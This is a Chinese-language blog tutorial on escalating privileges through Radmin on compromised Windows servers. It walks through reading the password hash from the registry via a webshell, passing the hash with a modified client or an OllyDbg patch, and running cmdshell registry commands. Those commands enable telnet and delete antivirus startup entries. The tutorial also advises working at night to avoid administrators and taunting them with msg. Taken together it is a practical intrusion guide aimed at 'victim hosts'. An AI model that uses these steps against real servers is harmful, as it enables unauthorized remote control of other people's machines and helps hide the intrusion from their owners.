提权学习:第三方软件提权(Radmin 提权)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

Radmin 提权

0x01 介绍

0x02 利用方式

常见虚拟主机常见路径

第一种方式:手工查询注册表爆hash值

第二种方式:通过大马爆hash值

拓展知识

0x03 反汇编破解Radmin密码实例

0x04 利用各种shell获取注册表的方法

0x05 拓展知识

radmin2.1提权


 

Radmin 提权

0x01 介绍

      Radmin是一款屡获殊荣的远程控制软件(服务器管理 ),它将远程控制、外包服务组件、以及网络监控结合到一个系统里,还是文件传输速度都很快、很方便,这样也形成了很多服务器都装了Radmin这样的远程控制器,并且提供目前为止最快速、强健而安全的工具包。

      Radmin是平时在Windows下用的比较多的一个远程管理工具。其具有支持多个连接和IP 过滤(即允许特定的IP控制远程机器)、个性化的档互传、远程关机、支持高分辨率模式、基于Windows NT的安全支持及密码保护以及提供日志文件支持等特性。不过老版本的Radmin Server2.X、Radmin Server3.0都存在一个“致命”漏洞 —— Radmin hash提权漏洞。

注:

      该漏洞的利用是需要有一定的前提条件(就是双方都必须要安有Radmin(客户端、服务端))。要获取读取系统注册表的权限(并不需要有写权限)。当然,获得此权限的方法很多。基本上取得webshell、cmdshell后都能获取该权限

      radmin的密码都是32位md5加密后,存放在注册表里的。

 

推荐红盟社区的精品文章:Radmin 远控的深度研究—无毒远控终极提权

                                           http://www.cnhonkerarmy.com/thread-132999-1-6.html

 


0x02 利用方式

      这里 CE介绍两种利用方式,一种是手工查询注册表,一个个的利用计算器计算出来(十六进制),另一种就是通过大马里集成的Radmin 提权,直接爆出hash值

radmin提权:(默认端口4899)直接使用大马中的Radmin提权,可以直接读取Radmin的密码(密文),同样使用工具radmin_hash.exe直接新建连接,然后右键完全控制,将32位的hash密文直接输入即可(注:在大马里面获取的密文为大写,需要先进行小写转换)

Radmin提权思路:
1. 在webshll中检查出有安装Radmin程序;
2. 在读取Radmin注册表键值,然后把读取的十进制转换成16进制;
3. 直接用radmi-hash工具连接,把读取的十六进制填入进去;
4. 最后可以用radmin客户端连接就行了;

常见虚拟主机常见路径

D:\virtualhost\web580651\www\ 新网虚拟主机

F:\usr\fw04408\xpinfo\ 万网虚拟主机

D:\hosting\wwwroot\ Prim@Hosting虚拟主机

e:\wwwroot\longzhihu\wwwroot\ 华众虚拟主机

d:\freehost\zhoudeyang\web\ 星外虚拟主机主机

D:\vhostroot\LocalUser\gdrt\ 星外分支

f:\host\wz8088\web\ 星外分支

D:\vhostroot\localuser\ vhostroot

 

第一种方式:手工查询注册表爆hash值

从注册表的下列路径取得所要的hash值和端口值:

//默认密码注册表位置
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersParameter

//默认端口注册表位置
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersPort

parameters下的配置大致如下所示:

[HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:b5,bb,fc,50,93,ba,35,b0,7d,a6,57,f7,d6,f1,9a,a0
"Port"=hex:11,27,00,00
"Timeout"=hex:0a,00,00,00
"EnableLogFile"=hex:01,00,00,00
"LogFilePath"="c:logfile.txt"
"FilterIp"=hex:00,00,00,00
"DisableTrayIcon"=hex:00,00,00,00
"AutoAllow"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00
如何知道受害者主机的端口是多少?我们在自己电脑上装上一个同版本的radmin,注册表中找到相关的位置。将其中的端口的hex值改成和查到的一样,再查看自己的设置里的端口变成了多少。上例中所取的值11,27,00,00 即是10001端口。而通radmin_hash修改版输入32位hash值就会连接上主机。

第二种方式:通过大马爆hash值

大致步骤分为:

1. 端口扫描 4899 端口

2. 上传大马读取Radmin的加密密文

3. 下载Radmin工具连接(可以使用RadminHash工具调试连接)

点击大马中的radmin提权功能,从下图中看到端口为4899, 密码为密文格式的,尝试破解一下密码

提权学习:第三方软件提权(Radmin 提权)_第1张图片

我们输入默认大写的hash值,弹窗报错密码输入有误,那我们就需要把hash值进行转换为小写

提权学习:第三方软件提权(Radmin 提权)_第2张图片

我随便从网上找的一个大小写转换工具

转换大小写地址链接:https://www.iamwawa.cn/daxiaoxie.html

提权学习:第三方软件提权(Radmin 提权)_第3张图片

转换成功后,我们试着用Radmin_Hash工具连接一下,看看能不能连接成功

读出HASH值后用Radmin_Hash工具或od调试连接,工具下载地址如下:

链接:https://pan.baidu.com/s/1REhmow_Ryf1qF79ap1pp3w 
提取码:umqh 

成功Radmin_Hash工具使用连接上受害者主机

提权学习:第三方软件提权(Radmin 提权)_第4张图片

      当然,我们进行远程连接时,需要与管理员岔开时间段登录,要不然被发现那就凉凉了,切记,一定要再管理员下线后操作,所以我们一定要在晚上进行此操作,不要在白天进行。那我们怎么看管理员在没在线呢?

查看管理员是否在线命令如下:

query user

注:此命令可以看到此刻管理员的登录状态及时间

或戏弄管理员,皮一下。例如:
Msg administrator+你要发送的内容

Msg administrator 沙雕,你已变成我的肉鸡了!哈哈哈

 


拓展知识

0x03 反汇编破解Radmin密码实例

前提条件: 
一个webshell 最好有读取注册表的权限 
如果不能读取radmin注册表至少wscript.shell组件没删 这样我们可以调用cmd 
导出radmin的表值 
radmin的注册表值,也就是经过加密的MD5 hash值 是32位哦 
比如 radmin的注册表里,密码是这样存放的 
port 端口 
Parameter REG_BINARY 1f 19 8c dd ** ** ** ** ** **有16组 每组两个 合起来 就是32位了 

工具 : 
radmin 控制端 
OllyDBG反汇编 

首先 先用OllyDBG打开 radmin控制端(客户端) 
然后执行 ctrl f 搜索 JMP EAX 
然后按一下F4 再按F8 
然后再 右键-查找-所有常量 
输入 10325476 (很好记的 反过来就是76543210) 
在弹出的窗口中 选择第一行 F2下断 
然后F9 运行 
这时 你就用radmin连接 你要入侵的服务器 
这时 会弹出 叫你输入密码的提示框 不用管 随便输入密码 
等你输入完 后 OD也就激活了 

这时 你要先运行下Ctrl F9 再往上几行 选中红色的那块 就是刚才下断的地方 
再次 按F2 一下 取消断点 然后再按 F8 这时 鼠标往下走 找到 
ADD ES,18 这里 按一下F4 
这时 你在左下角的 hex 那里 随便找个地方点一下 
然后 运行Ctrl G 在弹出的栏里 输入 [esp] 注意带大括号的 
然后 就注意把第一行 复制替换成 刚才我们得到的radmin密码的hash值 
后按F9 运行看看 哈哈 是不是 搞定拉 
这个方法 局限性很小 一般 的webshell都能 查看radmin的注册表 
或者利用wscript.shell 导出radmin的密码 就可以进行欺骗了 

比起,你暴力破解不知道要省多少倍时间......

 

0x04 利用各种shell获取注册表的方法

下面以一个cmdshell为例,解读操作注册表键值的方法。

1、读取注册表(利用regedit导出,利用type查询)

C:>regedit /e 1.reg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"
C:>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:>del 1.reg 

2、修改/删除注册表项

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg      

上面是利用echo写入一个reg文件,并通过regedit命令导入。而删除操作与上面类似:

要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"KAVRun"=- 

3、inf文件操作

如果regedit命令不允许我们直接操作,我们还可以绕道通过inf文件导入注册表。先建立一个reg.inf文件,内容如下:

[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWAREMicrosoftTelnetServer1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEMCurrentControlSetServicesServ-U
HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun 

然后运行如下命令(假设刚才的inf文件的路径是c:pathreg.inf),即可完成和上面reg文件一样的功能:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathreg.inf 

至于inf文件的内容每项的意思,可以参看DDK帮助手册。

 

0x05 拓展知识

radmin2.1提权

RADMIN的注册表项位于HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\ Parameter(在这个键值保存着密码)

在本机安装radmin,,把上面的密码键值导出,上传到webshell的可写目录中

cmd下执行下列2行的命令:

REGEDIT -E C:\123.REG HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters (导出密码文件到c盘,c盘要有可写目录)

此步骤可以省略,直接导入本机的密码,实验通过。

REGEDIT -s C:\456.REG HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters (导入密码到注册表)

然后本机连接服务器ip,密码是本地radmin密码

 

参考连接:

                http://www.361way.com/radmin-hash-loophole/2146.html

                https://www.jb51.net/hack/5082.html

                https://www.cnblogs.com/xishaonian/p/6031556.html        

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,提权学习,后渗透篇)